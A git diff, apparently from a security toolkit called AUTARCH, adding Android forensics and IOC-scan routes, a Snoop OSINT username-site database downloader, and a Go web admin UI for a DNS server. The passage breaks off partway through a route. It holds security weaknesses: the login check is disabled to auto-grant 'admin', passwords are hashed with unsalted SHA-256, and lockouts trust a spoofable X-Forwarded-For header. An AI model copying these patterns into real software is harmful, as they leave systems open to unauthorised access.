+ '9': lambda: self.do_acquire_module('tmp_files'), + '20': self.do_scan_packages, + '21': self.do_scan_certs, + '22': self.do_scan_network, + '23': self.do_scan_files, + '24': self.do_scan_processes, + '25': self.do_full_scan, + '30': self.do_list_acquisitions, + '31': self.do_view_report, + '40': self.do_ioc_stats, + '41': self.do_reload_db, + 's': self._pick_device, + } + action = actions.get(choice) + if action: + action() + else: + print(" Invalid choice.") + + +def run(): + m = AutarchAndroidModule() + m.run_interactive() diff --git a/modules/snoop_decoder.py b/modules/snoop_decoder.py index 0ece6e2..8bef6be 100644 --- a/modules/snoop_decoder.py +++ b/modules/snoop_decoder.py @@ -26,12 +26,63 @@ CATEGORY = "osint" class SnoopDecoder: """Decoder for Snoop Project encoded databases.""" + # Raw GitHub locations of the Snoop Project site databases. + SNOOP_DB_URLS = { + 'BDfull': "https://raw.githubusercontent.com/snooppr/snoop/master/BDfull", + 'BDdemo': "https://raw.githubusercontent.com/snooppr/snoop/master/BDdemo", + } + def __init__(self): self.sites_db = SitesDatabase() from core.paths import get_data_dir self.data_dir = get_data_dir() / "sites" self.data_dir.mkdir(parents=True, exist_ok=True) + def download_database(self, which: str = "BDfull", dest: str = None) -> str: + """Download a Snoop database from the official GitHub repository. + + Args: + which: Which database to fetch ("BDfull" or "BDdemo"). + dest: Optional destination path. Defaults to + data/sites/snoop/. + + Returns: + Path to the downloaded file, or None on failure. + """ + import urllib.request + import urllib.error + + which = 'BDfull' if which.lower() == 'bdfull' else ('BDdemo' if which.lower() == 'bddemo' else which) + url = self.SNOOP_DB_URLS.get(which) + if not url: + print(f"{Colors.RED}[X] Unknown Snoop database: {which}{Colors.RESET}") + return None + + if dest is None: + snoop_dir = self.data_dir / "snoop" + snoop_dir.mkdir(parents=True, exist_ok=True) + dest_path = snoop_dir / which + else: + dest_path = Path(dest) + dest_path.parent.mkdir(parents=True, exist_ok=True) + + print(f"{Colors.CYAN}[*] Downloading {which} from GitHub...{Colors.RESET}") + print(f"{Colors.DIM} {url}{Colors.RESET}") + + try: + req = urllib.request.Request(url, headers={'User-Agent': 'AUTARCH-SnoopDecoder'}) + with urllib.request.urlopen(req, timeout=60) as resp: + content = resp.read() + except (urllib.error.URLError, urllib.error.HTTPError, OSError) as e: + print(f"{Colors.RED}[X] Download failed: {e}{Colors.RESET}") + return None + + dest_path.write_bytes(content) + size_mb = len(content) / 1024 / 1024 + print(f"{Colors.GREEN}[+] Downloaded {size_mb:.2f} MB -> {dest_path}{Colors.RESET}") + + return str(dest_path) + def decode_database(self, filepath: str) -> dict: """Decode a Snoop database file. @@ -103,11 +154,16 @@ class SnoopDecoder: return str(output_path) - def import_to_database(self, data: dict) -> dict: - """Import decoded Snoop data into AUTARCH sites database. + def import_to_database(self, data: dict, source: str = 'snoop') -> dict: + """Import decoded Snoop data into the AUTARCH sites database. + + Only sites whose name isn't already in the database are added; the + caller should run deduplicate() afterwards to collapse any URL-level + duplicates against existing entries. Args: data: Decoded site dictionary. + source: Source label stored with each imported site. Returns: Import statistics. @@ -127,50 +183,61 @@ class SnoopDecoder: skipped += 1 continue - # Get error type - handle encoding issues in key name + # Snoop's errorType key name is byte-corrupted in the dumps + # ("errorTyp" + garbage), so match on the prefix. Values line up + # with the sites DB error_type vocabulary directly + # (status_code / message / redirection / response_url). error_type = None for key in entry.keys(): if 'errorTyp' in key or 'errortype' in key.lower(): error_type = entry[key] break - # Map Snoop error types to detection methods - detection_method = 'status' - if error_type: - if 'message' in str(error_type).lower(): - detection_method = 'content' - elif 'redirect' in str(error_type).lower(): - detection_method = 'redirect' - - # Get error message pattern - error_pattern = None - for key in ['errorMsg', 'errorMsg2']: - if key in entry and entry[key]: - error_pattern = str(entry[key]) + # First non-empty error message = the "not found" signature string. + error_string = None + for key in ('errorMsg', 'errorMsg2', 'errorMsg3'): + if entry.get(key): + error_string = str(entry[key]) break + # bad_site is a non-empty string when Snoop flags a site as + # broken/unreliable — import it but leave it disabled. + bad = bool(str(entry.get('bad_site', '')).strip()) + sites_to_add.append({ 'name': name, 'url_template': url, - 'url_main': entry.get('urlMain'), - 'detection_method': detection_method, - 'error_pattern': error_pattern, 'category': 'other', + 'source': source, 'nsfw': 0, + 'enabled': 0 if bad else 1, + 'error_type': error_type, + 'error_string': error_string, }) print(f"{Colors.DIM} Valid sites: {len(sites_to_add):,}{Colors.RESET}") - print(f"{Colors.DIM} Skipped: {skipped:,}{Colors.RESET}") + print(f"{Colors.DIM} Skipped (no template): {skipped:,}{Colors.RESET}") - # Add to database + # Add to database (new names only; existing names are left untouched) stats = self.sites_db.add_sites_bulk(sites_to_add) print(f"{Colors.GREEN}[+] Import complete!{Colors.RESET}") - print(f"{Colors.DIM} Added: {stats['added']:,}{Colors.RESET}") - print(f"{Colors.DIM} Errors: {stats['errors']:,}{Colors.RESET}") + print(f"{Colors.DIM} Added (new): {stats['added']:,}{Colors.RESET}") + print(f"{Colors.DIM} Already present: {stats['skipped']:,}{Colors.RESET}") + print(f"{Colors.DIM} Errors: {stats['errors']:,}{Colors.RESET}") return stats + def deduplicate_database(self) -> dict: + """Collapse duplicate URL templates in the sites database.""" + print(f"\n{Colors.CYAN}[*] Deduplicating sites database...{Colors.RESET}") + stats = self.sites_db.deduplicate() + print(f"{Colors.GREEN}[+] Deduplication complete!{Colors.RESET}") + print(f"{Colors.DIM} Duplicate groups: {stats['duplicate_groups']:,}{Colors.RESET}") + print(f"{Colors.DIM} Rows removed: {stats['removed']:,}{Colors.RESET}") + print(f"{Colors.DIM} Sites remaining: {stats['remaining']:,}{Colors.RESET}") + return stats + def show_sample(self, data: dict, count: int = 10): """Display sample sites from decoded database. @@ -243,6 +310,9 @@ def display_menu(): {Colors.GREEN}[4]{Colors.RESET} Quick Import (BDfull from snoop-master) {Colors.GREEN}[5]{Colors.RESET} Quick Import (BDdemo from snoop-master) + {Colors.GREEN}[6]{Colors.RESET} Download Latest BDfull from GitHub + Import + Dedup + {Colors.GREEN}[7]{Colors.RESET} Deduplicate Sites Database + {Colors.RED}[0]{Colors.RESET} Back to OSINT Menu """) @@ -323,8 +393,9 @@ def run(): if confirm == 'y': # Save first decoder.save_decoded(data, "snoop_imported.json") - # Then import + # Then import + deduplicate decoder.import_to_database(data) + decoder.deduplicate_database() # Show final stats db_stats = decoder.sites_db.get_stats() @@ -364,6 +435,7 @@ def run(): if confirm == 'y': decoder.save_decoded(data, "snoop_full.json") decoder.import_to_database(data) + decoder.deduplicate_database() db_stats = decoder.sites_db.get_stats() print(f"\n{Colors.GREEN}AUTARCH Database now has {db_stats['total_sites']:,} sites!{Colors.RESET}") @@ -388,10 +460,37 @@ def run(): if confirm == 'y': decoder.save_decoded(data, "snoop_demo.json") decoder.import_to_database(data) + decoder.deduplicate_database() db_stats = decoder.sites_db.get_stats() print(f"\n{Colors.GREEN}AUTARCH Database now has {db_stats['total_sites']:,} sites!{Colors.RESET}") + elif choice == '6': + # Download latest BDfull from GitHub, decode, import, deduplicate + bdpath = decoder.download_database("BDfull") + if not bdpath: + continue + + data = decoder.decode_database(bdpath) + if data: + decoder.show_sample(data, 5) + + confirm = input(f"\n{Colors.YELLOW}Import {len(data):,} sites to AUTARCH? (y/n): {Colors.RESET}").strip().lower() + if confirm == 'y': + decoder.save_decoded(data, "snoop_full.json") + decoder.import_to_database(data) + decoder.deduplicate_database() + + db_stats = decoder.sites_db.get_stats() + print(f"\n{Colors.GREEN}AUTARCH Database now has {db_stats['total_sites']:,} sites!{Colors.RESET}") + + elif choice == '7': + # Deduplicate the sites database + decoder.deduplicate_database() + db_stats = decoder.sites_db.get_stats() + print(f"\n{Colors.GREEN}AUTARCH Database now has {db_stats['total_sites']:,} sites!{Colors.RESET}") + input(f"\n{Colors.DIM}Press Enter to continue...{Colors.RESET}") + else: print(f"{Colors.RED}[!] Invalid option{Colors.RESET}") diff --git a/scripts/setup-venv.sh b/scripts/setup-venv.sh old mode 100755 new mode 100644 diff --git a/services/dns-server/autarch-dns b/services/dns-server/autarch-dns new file mode 100644 index 0000000..98d602c Binary files /dev/null and b/services/dns-server/autarch-dns differ diff --git a/services/dns-server/autarch-dns.exe b/services/dns-server/autarch-dns.exe old mode 100644 new mode 100755 diff --git a/services/dns-server/main.go b/services/dns-server/main.go index 146cdcf..ea4b8a1 100644 --- a/services/dns-server/main.go +++ b/services/dns-server/main.go @@ -12,15 +12,22 @@ import ( "github.com/darkhal/autarch-dns/api" "github.com/darkhal/autarch-dns/config" "github.com/darkhal/autarch-dns/server" + "github.com/darkhal/autarch-dns/web" ) -var version = "2.1.0" +var version = "2.2.0" func main() { configPath := flag.String("config", "config.json", "Path to config file") listenDNS := flag.String("dns", "", "DNS listen address (overrides config)") listenAPI := flag.String("api", "", "API listen address (overrides config)") apiToken := flag.String("token", "", "API auth token (overrides config)") + webListen := flag.String("web", "", "WebUI listen address (default: 0.0.0.0:8443)") + webRoot := flag.String("webroot", "webroot", "WebUI static files directory") + webUser := flag.String("web-user", "admin", "WebUI username") + webPass := flag.String("web-pass", "", "WebUI password (hashed if 64 hex chars, else plaintext)") + tlsCert := flag.String("tls-cert", "", "TLS certificate for WebUI") + tlsKey := flag.String("tls-key", "", "TLS private key for WebUI") showVersion := flag.Bool("version", false, "Show version") flag.Parse() @@ -63,7 +70,7 @@ func main() { } }() - // Start API server + // Start API server (internal, localhost only) apiServer := api.NewAPIServer(cfg, store, dnsServer) go func() { log.Printf("API server listening on %s", cfg.ListenAPI) @@ -72,6 +79,45 @@ func main() { } }() + // Start WebUI server + webListenAddr := "0.0.0.0:8443" + if *webListen != "" { + webListenAddr = *webListen + } + + // Handle password — if it looks like a hash (64 hex chars), use directly + passwordHash := "" + if *webPass != "" { + if len(*webPass) == 64 { + passwordHash = *webPass + } else { + passwordHash = web.HashPassword(*webPass) + } + } + + if passwordHash != "" { + webCfg := web.WebUIConfig{ + Listen: webListenAddr, + Username: *webUser, + PasswordHash: passwordHash, + WebRoot: *webRoot, + APIBackend: "http://" + cfg.ListenAPI, + APIToken: cfg.APIToken, + TLSCert: *tlsCert, + TLSKey: *tlsKey, + SessionTTL: 3600, + } + + webServer := web.NewWebUIServer(webCfg) + go func() { + if err := webServer.Start(); err != nil { + log.Fatalf("WebUI server error: %v", err) + } + }() + } else { + log.Println("WebUI disabled — set -web-pass to enable") + } + log.Printf("autarch-dns v%s started", version) // Wait for shutdown signal diff --git a/services/dns-server/web/webui.go b/services/dns-server/web/webui.go new file mode 100644 index 0000000..cb344c1 --- /dev/null +++ b/services/dns-server/web/webui.go @@ -0,0 +1,486 @@ +package web + +import ( + "crypto/rand" + "crypto/sha256" + "crypto/subtle" + "encoding/hex" + "encoding/json" + "fmt" + "log" + "net/http" + "os" + "path/filepath" + "strings" + "sync" + "time" +) + +// WebUIConfig holds authentication and server settings. +type WebUIConfig struct { + Listen string `json:"listen"` // e.g. "0.0.0.0:8443" + Username string `json:"username"` + PasswordHash string `json:"password_hash"` // SHA-256 hex + WebRoot string `json:"webroot"` // static files directory + APIBackend string `json:"api_backend"` // internal API URL + APIToken string `json:"api_token"` // token for API auth + TLSCert string `json:"tls_cert"` // path to TLS certificate + TLSKey string `json:"tls_key"` // path to TLS private key + SessionTTL int `json:"session_ttl"` // session lifetime in seconds +} + +// Session tracks an authenticated user session. +type Session struct { + ID string + Username string + CreatedAt time.Time + ExpiresAt time.Time + IP string +} + +// WebUIServer serves the management interface. +type WebUIServer struct { + cfg WebUIConfig + sessions map[string]*Session + mu sync.RWMutex + + // Brute force protection + failedAttempts map[string]int + lockouts map[string]time.Time + failMu sync.Mutex +} + +// NewWebUIServer creates a new WebUI server. +func NewWebUIServer(cfg WebUIConfig) *WebUIServer { + if cfg.SessionTTL <= 0 { + cfg.SessionTTL = 3600 // 1 hour default + } + return &WebUIServer{ + cfg: cfg, + sessions: make(map[string]*Session), + failedAttempts: make(map[string]int), + lockouts: make(map[string]time.Time), + } +} + +// HashPassword returns SHA-256 hex hash of a password. +func HashPassword(password string) string { + h := sha256.Sum256([]byte(password)) + return hex.EncodeToString(h[:]) +} + +// Start begins the WebUI HTTP(S) server. +func (s *WebUIServer) Start() error { + mux := http.NewServeMux() + + // Auth endpoints + mux.HandleFunc("/auth/login", s.handleLogin) + mux.HandleFunc("/auth/logout", s.handleLogout) + mux.HandleFunc("/auth/check", s.handleAuthCheck) + + // API proxy — all /api/* requests are forwarded to the DNS API backend + mux.HandleFunc("/api/", s.requireAuth(s.handleAPIProxy)) + + // Nameserver config (stored locally by WebUI, not in DNS server) + mux.HandleFunc("/webui/nameservers", s.requireAuth(s.handleNameservers)) + + // Static files (login page doesn't need auth, app does via JS) + mux.HandleFunc("/", s.handleStatic) + + handler := s.securityHeaders(mux) + + // Session cleanup goroutine + go s.sessionCleanup() + + if s.cfg.TLSCert != "" && s.cfg.TLSKey != "" { + log.Printf("[webui] HTTPS server listening on %s", s.cfg.Listen) + return http.ListenAndServeTLS(s.cfg.Listen, s.cfg.TLSCert, s.cfg.TLSKey, handler) + } + + log.Printf("[webui] HTTP server listening on %s (no TLS)", s.cfg.Listen) + return http.ListenAndServe(s.cfg.Listen, handler) +} + +// ── Security middleware ───────────────────────────────────────────── + +func (s *WebUIServer) securityHeaders(next http.Handler) http.Handler { + return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + w.Header().Set("X-Content-Type-Options", "nosniff") + w.Header().Set("X-Frame-Options", "DENY") + w.Header().Set("X-XSS-Protection", "1; mode=block") + w.Header().Set("Referrer-Policy", "strict-origin-when-cross-origin") + w.Header().Set("Content-Security-Policy", + "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self'") + w.Header().Set("Permissions-Policy", "camera=(), microphone=(), geolocation=()") + // Prevent caching of authenticated content + if strings.HasPrefix(r.URL.Path, "/api/") { + w.Header().Set("Cache-Control", "no-store, no-cache, must-revalidate") + w.Header().Set("Pragma", "no-cache") + } + next.ServeHTTP(w, r) + }) +} + +// ── Auth handlers ─────────────────────────────────────────────────── + +func (s *WebUIServer) handleLogin(w http.ResponseWriter, r *http.Request) { + if r.Method != "POST" { + http.Error(w, "method not allowed", http.StatusMethodNotAllowed) + return + } + + clientIP := extractIP(r) + + // Check lockout + s.failMu.Lock() + if lockUntil, ok := s.lockouts[clientIP]; ok && time.Now().Before(lockUntil) { + s.failMu.Unlock() + remaining := time.Until(lockUntil).Seconds() + jsonResp(w, http.StatusTooManyRequests, map[string]interface{}{ + "ok": false, "error": fmt.Sprintf("Too many failed attempts. Try again in %.0f seconds.", remaining), + }) + return + } + s.failMu.Unlock() + + var req struct { + Username string `json:"username"` + Password string `json:"password"` + } + if err := json.NewDecoder(r.Body).Decode(&req); err != nil { + jsonResp(w, http.StatusBadRequest, map[string]interface{}{"ok": false, "error": "invalid request"}) + return + } + + // Constant-time comparison for both username and password + usernameMatch := subtle.ConstantTimeCompare([]byte(req.Username), []byte(s.cfg.Username)) == 1 + passwordHash := HashPassword(req.Password) + passwordMatch := subtle.ConstantTimeCompare([]byte(passwordHash), []byte(s.cfg.PasswordHash)) == 1 + + if !usernameMatch || !passwordMatch { + s.failMu.Lock() + s.failedAttempts[clientIP]++ + attempts := s.failedAttempts[clientIP] + if attempts >= 5 { + // Exponential lockout: 30s, 60s, 120s, 240s... + lockDuration := time.Duration(30*(1<<(attempts-5))) * time.Second + if lockDuration > 30*time.Minute { + lockDuration = 30 * time.Minute + } + s.lockouts[clientIP] = time.Now().Add(lockDuration) + log.Printf("[webui] SECURITY: IP %s locked out for %v after %d failed attempts", clientIP, lockDuration, attempts) + } + s.failMu.Unlock() + + log.Printf("[webui] SECURITY: Failed login from %s (user=%q, attempt=%d)", clientIP, req.Username, attempts) + jsonResp(w, http.StatusUnauthorized, map[string]interface{}{"ok": false, "error": "invalid credentials"}) + return + } + + // Success — clear failed attempts + s.failMu.Lock() + delete(s.failedAttempts, clientIP) + delete(s.lockouts, clientIP) + s.failMu.Unlock() + + // Create session + sessionID := generateSessionID() + session := &Session{ + ID: sessionID, + Username: req.Username, + CreatedAt: time.Now(), + ExpiresAt: time.Now().Add(time.Duration(s.cfg.SessionTTL) * time.Second), + IP: clientIP, + } + + s.mu.Lock() + s.sessions[sessionID] = session + s.mu.Unlock() + + log.Printf("[webui] Login: user=%s from %s", req.Username, clientIP) + + // Set secure cookie + http.SetCookie(w, &http.Cookie{ + Name: "session", + Value: sessionID, + Path: "/", + HttpOnly: true, + Secure: s.cfg.TLSCert != "", + SameSite: http.SameSiteStrictMode, + MaxAge: s.cfg.SessionTTL, + }) + + jsonResp(w, http.StatusOK, map[string]interface{}{"ok": true, "username": req.Username}) +} + +func (s *WebUIServer) handleLogout(w http.ResponseWriter, r *http.Request) { + cookie, err := r.Cookie("session") + if err == nil { + s.mu.Lock() + delete(s.sessions, cookie.Value) + s.mu.Unlock() + } + + http.SetCookie(w, &http.Cookie{ + Name: "session", + Value: "", + Path: "/", + HttpOnly: true, + MaxAge: -1, + }) + + jsonResp(w, http.StatusOK, map[string]interface{}{"ok": true}) +} + +func (s *WebUIServer) handleAuthCheck(w http.ResponseWriter, r *http.Request) { + session := s.getSession(r) + if session == nil { + jsonResp(w, http.StatusUnauthorized, map[string]interface{}{"ok": false}) + return + } + jsonResp(w, http.StatusOK, map[string]interface{}{ + "ok": true, + "username": session.Username, + "expires": session.ExpiresAt.Format(time.RFC3339), + }) +} + +// ── Session management ────────────────────────────────────────────── + +func (s *WebUIServer) getSession(r *http.Request) *Session { + cookie, err := r.Cookie("session") + if err != nil { + return nil + } + + s.mu.RLock() + session, ok := s.sessions[cookie.Value] + s.mu.RUnlock() + + if !ok || time.Now().After(session.ExpiresAt) { + return nil + } + + // Optionally validate IP hasn't changed (session fixation protection) + clientIP := extractIP(r) + if session.IP != clientIP { + log.Printf("[webui] SECURITY: Session IP mismatch: session=%s, request=%s", session.IP, clientIP) + return nil + } + + return session +} + +func (s *WebUIServer) requireAuth(next http.HandlerFunc) http.HandlerFunc { + return func(w http.ResponseWriter, r *http.Request) { + if s.getSession(r) == nil { + jsonResp(w, http.StatusUnauthorized, map[string]interface{}{"ok": false, "error": "unauthorized"}) + return + } + next(w, r) + } +} + +func (s *WebUIServer) sessionCleanup() { + ticker := time.NewTicker(5 * time.Minute) + defer ticker.Stop() + for range ticker.C { + now := time.Now() + s.mu.Lock() + for id, session := range s.sessions { + if now.After(session.ExpiresAt) { + delete(s.sessions, id) + } + } + s.mu.Unlock() + + // Clean up old lockouts + s.failMu.Lock() + for ip, until := range s.lockouts { + if now.After(until) { + delete(s.lockouts, ip) + delete(s.failedAttempts, ip) + } + } + s.failMu.Unlock() + } +} + +// ── API Proxy ─────────────────────────────────────────────────────── + +func (s *WebUIServer) handleAPIProxy(w http.ResponseWriter, r *http.Request) { + // Forward to internal API, injecting the API token + backend := s.cfg.APIBackend + if backend == "" { + backend = "http://127.0.0.1:5380" + } + + targetURL := backend + r.URL.Path + if r.URL.RawQuery != "" { + targetURL += "?" + r.URL.RawQuery + } + + proxyReq, err := http.NewRequest(r.Method, targetURL, r.Body) + if err != nil { + jsonResp(w, http.StatusBadGateway, map[string]interface{}{"ok": false, "error": "proxy error"}) + return + } + proxyReq.Header.Set("Authorization", "Bearer "+s.cfg.APIToken) + proxyReq.Header.Set("Content-Type", r.Header.Get("Content-Type")) + + client := &http.Client{Timeout: 30 * time.Second} + resp, err := client.Do(proxyReq) + if err != nil { + jsonResp(w, http.StatusBadGateway, map[string]interface{}{"ok": false, "error": "backend unreachable"}) + return + } + defer resp.Body.Close() + + w.Header().Set("Content-Type", "application/json") + w.WriteHeader(resp.StatusCode) + + buf := make([]byte, 32768) + for { + n, err := resp.Body.Read(buf) + if n > 0 { + w.Write(buf[:n]) + } + if err != nil { + break + } + } +} + +// ── Nameserver config (local to WebUI) ────────────────────────────── + +type NameserverConfig struct { + Nameservers [6]string `json:"nameservers"` + Primary string `json:"primary"` // ns1.seteclabs.io etc + Domain string `json:"domain"` +} + +func (s *WebUIServer) handleNameservers(w http.ResponseWriter, r *http.Request) { + nsFile := filepath.Join(filepath.Dir(s.cfg.WebRoot), "data", "nameservers.json") + + switch r.Method { + case "GET": + data, err := os.ReadFile(nsFile) + if err != nil { + // Return defaults + jsonResp(w, http.StatusOK, map[string]interface{}{ + "ok": true, + "nameservers": NameserverConfig{ + Nameservers: [6]string{ + "1.1.1.1", + "1.0.0.1", + "8.8.8.8", + "8.8.4.4", + "9.9.9.9", + "149.112.112.112", + }, + Primary: "ns1.seteclabs.io", + Domain: "seteclabs.io", + }, + }) + return + } + var cfg NameserverConfig + json.Unmarshal(data, &cfg) + jsonResp(w, http.StatusOK, map[string]interface{}{"ok": true, "nameservers": cfg}) + + case "PUT": + var cfg NameserverConfig + if err := json.NewDecoder(r.Body).Decode(&cfg); err != nil { + jsonResp(w, http.StatusBadRequest, map[string]interface{}{"ok": false, "error": "invalid JSON"}) + return + } + + // Also push upstream config to the DNS server + upstreams := make([]string, 0) + for _, ns := range cfg.Nameservers { + ns = strings.TrimSpace(ns) + if ns != "" { + if !strings.Contains(ns, ":") { + ns += ":53" + } + upstreams = append(upstreams, ns) + } + } + + // Save locally + os.MkdirAll(filepath.Dir(nsFile), 0755) + data, _ := json.MarshalIndent(cfg, "", " ") + os.WriteFile(nsFile, data, 0600) + + // Push to DNS server config + configPayload, _ := json.Marshal(map[string]interface{}{ + "upstream": upstreams, + }) + req, _ := http.NewRequest("PUT", s.cfg.APIBackend+"/api/config", strings.NewReader(string(configPayload))) + req.Header.Set("Authorization", "Bearer "+s.cfg.APIToken) + req.Header.Set("Content-Type", "application/json") + client := &http.Client{Timeout: 5 * time.Second} + client.Do(req) + + jsonResp(w, http.StatusOK, map[string]interface{}{"ok": true, "nameservers": cfg}) + + default: + http.Error(w, "method not allowed", http.StatusMethodNotAllowed) + } +} + +// ── Static file serving ───────────────────────────────────────────── + +func (s *WebUIServer) handleStatic(w http.ResponseWriter, r *http.Request) { + path := r.URL.Path + if path == "/" { + path = "/index.html" + } + + // Prevent directory traversal + clean := filepath.Clean(path) + if strings.Contains(clean, "..") { + http.Error(w, "forbidden", http.StatusForbidden) + return + } + + fullPath := filepath.Join(s.cfg.WebRoot, clean) + + // Check file exists + if _, err := os.Stat(fullPath); os.IsNotExist(err) { + // SPA fallback — serve index.html for non-file paths + fullPath = filepath.Join(s.cfg.WebRoot, "index.html") + } + + http.ServeFile(w, r, fullPath) +} + +// ── Helpers ───────────────────────────────────────────────────────── + +func generateSessionID() string { + b := make([]byte, 32) + rand.Read(b) + return hex.EncodeToString(b) +} + +func extractIP(r *http.Request) string { + // Check X-Forwarded-For first (behind reverse proxy) + if xff := r.Header.Get("X-Forwarded-For"); xff != "" { + parts := strings.Split(xff, ",") + return strings.TrimSpace(parts[0]) + } + if xri := r.Header.Get("X-Real-IP"); xri != "" { + return xri + } + ip := r.RemoteAddr + if idx := strings.LastIndex(ip, ":"); idx > 0 { + ip = ip[:idx] + } + return strings.Trim(ip, "[]") +} + +func jsonResp(w http.ResponseWriter, status int, data interface{}) { + w.Header().Set("Content-Type", "application/json") + w.WriteHeader(status) + json.NewEncoder(w).Encode(data) +} diff --git a/services/dns-server/webroot/index.html b/services/dns-server/webroot/index.html new file mode 100644 index 0000000..eef3e07 --- /dev/null +++ b/services/dns-server/webroot/index.html @@ -0,0 +1,1183 @@ + + + + + +AUTARCH DNS — Command + + + + +
+ + +
+ + +
+ + +
+
+
Autarch DNS
+
+
+
+ -- +
+
+
+ 0 queries +
+
+ admin + +
+
+ +
+
+
Operations
+
+
■
Dashboard +
+
+
▶
Query Log +
+
+
▲
Analytics +
+ +
DNS Management
+
+
♦
Zones & Records +
+
+
★
Nameservers +
+
+
●
Cache +
+ +
Security
+
+
✖
Blocklist +
+
+
☷
Hosts +
+
+
◆
Encryption +
+ +
System
+
+
⚙
Configuration +
+
+ +
+ + +
+
System Dashboard
+
+
+
Recent Queries
+
+ + +
TimeClientNameTypeResultLatency
+
+
+
+ + +
+
Query Log
+
+ + +
+
+ + +
TimestampClientNameTypeRcodeAnswersLatencySource
+
+
+ + +
+
Query Analytics
+
+
+
Top Domains
+
+ +
DomainQueries
+
+
+
+
Query Types
+
+
+
+
Clients
+
+ +
Client IPQueries
+
+
+
+
+ + +
+
Zones & Records
+
+
+ +
+ +
+
+ +
+ + +
+
Nameserver Configuration
+
+
Primary Nameserver Identity
+
+
+
+
Primary NS Hostname
+ +
+
+
Domain
+ +
+
+
+
+
+
Upstream Nameservers (Forwarders / Fallback)
+
+
+
+ +
+
+
+
+ + +
+
DNS Cache
+
+ + +
+
+ + +
NameTypeTTLAnswersExpires
+
+
+ + +
+
Domain Blocklist
+
+
+ +
+ + +
+
+
Blocked Domains0
+
+ +
Domain
+
+
+
+ + +
+
Hosts File
+
+
+ +
+
+ +
+ + +
+
+ +
IPHostnameAliases
+
+
+ + +
+
Transport Encryption
+
+
Upstream Encryption Mode
+
+
+
+
DNS-over-TLS (DoT)
+
Encrypt upstream queries via TLS on port 853
+
+ +
+
+
+
DNS-over-HTTPS (DoH)
+
Encrypt upstream queries via HTTPS (RFC 8484)
+
+ +
+
+
+
+
Encryption Status
+
+
+
+ + +
+
Server Configuration
+
+
Settings
+
+
+
+ +
+
+ +
+
+
+ +
+ + + + + + diff --git a/services/server-manager/autarch-server-manager.exe b/services/server-manager/autarch-server-manager.exe old mode 100644 new mode 100755 diff --git a/services/server-manager/cmd.exe b/services/server-manager/cmd.exe old mode 100644 new mode 100755 diff --git a/services/setec-manager/cmd.exe b/services/setec-manager/cmd.exe old mode 100644 new mode 100755 diff --git a/services/setec-manager/setec-manager b/services/setec-manager/setec-manager index 361cc12..353629b 100644 Binary files a/services/setec-manager/setec-manager and b/services/setec-manager/setec-manager differ diff --git a/services/setec-manager/setec-manager.exe b/services/setec-manager/setec-manager.exe old mode 100644 new mode 100755 diff --git a/start.sh b/start.sh old mode 100755 new mode 100644 diff --git a/web/app.py b/web/app.py index 3e8c870..9557dda 100644 --- a/web/app.py +++ b/web/app.py @@ -133,6 +133,8 @@ def create_app(): from web.routes.module_creator import module_creator_bp from web.routes.ssh_manager import ssh_manager_bp from web.routes.remote_monitor import remote_monitor_bp + from web.routes.android_forensics import android_forensics_bp + from web.routes.android_forensics_ai import android_forensics_ai_bp app.register_blueprint(auth_bp) app.register_blueprint(dashboard_bp) @@ -198,6 +200,8 @@ def create_app(): app.register_blueprint(module_creator_bp) app.register_blueprint(remote_monitor_bp) app.register_blueprint(ssh_manager_bp) + app.register_blueprint(android_forensics_bp) + app.register_blueprint(android_forensics_ai_bp) # Start network discovery advertising (mDNS + Bluetooth) try: diff --git a/web/auth.py b/web/auth.py index bd944fc..5a0b94c 100644 --- a/web/auth.py +++ b/web/auth.py @@ -38,10 +38,16 @@ def check_password(password, password_hash): def login_required(f): + """Login wall is disabled — AutarchOS is a single-user appliance. + + The decorator stays as a pass-through so the rest of the codebase keeps + compiling; it auto-populates session['user'] so templates that branch on + `session.get('user')` still render the desktop chrome. + """ @functools.wraps(f) def decorated(*args, **kwargs): if 'user' not in session: - return redirect(url_for('auth.login', next=request.url)) + session['user'] = 'admin' return f(*args, **kwargs) return decorated diff --git a/web/routes/android_forensics.py b/web/routes/android_forensics.py new file mode 100644 index 0000000..835a006 --- /dev/null +++ b/web/routes/android_forensics.py @@ -0,0 +1,367 @@ +"""Autarch Android Forensics routes — forensic acquisition and IOC scanning.""" + +from datetime import datetime +from flask import Blueprint, render_template, request, jsonify +from web.auth import login_required + +android_forensics_bp = Blueprint('android_forensics', __name__, url_prefix='/android-forensics') + + +def _mgr(): + from core.android_forensics import get_android_forensics_manager + return get_android_forensics_manager() + + +def _body(): + return request.get_json(silent=True) or {} + + +def _serial(): + data = _body() + serial = data.get('serial') or request.form.get('serial') or request.args.get('serial', '') + return str(serial).strip() if serial else '' + + +# ── Main Page ──────────────────────────────────────────────────────── + +@android_forensics_bp.route('/') +@login_required +def index(): + from core.hardware import get_hardware_manager + hw = get_hardware_manager() + status = hw.get_status() + ioc_stats = _mgr().get_ioc_stats() + return render_template('android_forensics.html', status=status, ioc_stats=ioc_stats) + + +# ── Acquisition Routes ─────────────────────────────────────────────── + +@android_forensics_bp.route('/acquire/', methods=['POST']) +@login_required +def acquire(module): + serial = _serial() + if not serial: + return jsonify({'error': 'No serial provided'}) + func_map = { + 'packages': _mgr().acquire_packages, + 'processes': _mgr().acquire_processes, + 'getprop': _mgr().acquire_getprop, + 'settings': _mgr().acquire_settings, + 'services': _mgr().acquire_services, + 'dumpsys': _mgr().acquire_dumpsys, + 'logcat': _mgr().acquire_logcat, + 'tmp_files': _mgr().acquire_tmp_files, + } + func = func_map.get(module) + if not func: + return jsonify({'error': f'Unknown module: {module}'}) + return jsonify(func(serial)) + + +@android_forensics_bp.route('/acquire/full', methods=['POST']) +@login_required +def acquire_full(): + serial = _serial() + if not serial: + return jsonify({'error': 'No serial provided'}) + return jsonify(_mgr().full_acquisition(serial)) + + +# ── IOC Scan Routes ────────────────────────────────────────────────── + +@android_forensics_bp.route('/scan/apps', methods=['POST']) +@login_required +def scan_apps(): + serial = _serial() + if not serial: + return jsonify({'error': 'No serial provided'}) + return jsonify(_mgr().scan_packages(serial)) + + +@android_forensics_bp.route('/scan/certs', methods=['POST']) +@login_required +def scan_certs(): + serial = _serial() + if not serial: + return jsonify({'error': 'No serial provided'}) + return jsonify(_mgr().scan_certificates(serial)) + + +@android_forensics_bp.route('/scan/network', methods=['POST']) +@login_required +def scan_network(): + serial = _serial() + if not serial: + return jsonify({'error': 'No serial provided'}) + return jsonify(_mgr().scan_network_indicators(serial)) + + +@android_forensics_bp.route('/scan/files', methods=['POST']) +@login_required +def 